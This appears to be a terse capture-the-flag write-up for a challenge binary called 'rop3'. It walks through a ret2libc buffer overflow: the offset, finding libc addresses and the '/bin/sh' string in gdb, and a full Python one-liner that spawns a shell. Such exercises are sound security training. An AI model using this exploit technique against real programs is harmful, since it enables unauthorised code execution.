very trivial though.. :v
(1) junk buffer is 0x80 + 12
(2) find address of libc_system in gdb
(3) find address of libc_exit in gdb
(4) find '/bin/sh' string in gdb (find &system,+9999999,"/bin/sh")
(5) pwned!
since NX-shit is disabled, do a standard 'ret2libc' attack against that contrived binary. payload construction below:
["\x41"*(0x80 + 12)] + [libc_system] + [libc_exit] + ['/bin/sh'] = pwned!
(python -c 'import sys,struct;sys.stdout.write("\x41"*(0x80 + 12) + struct.pack("<I", 0x40067170) + struct.pack("<I", 0x4005cfc0) + struct.pack("<I", 0x40186be3))'; cat -) | ./rop3-7f3312fe43c46d26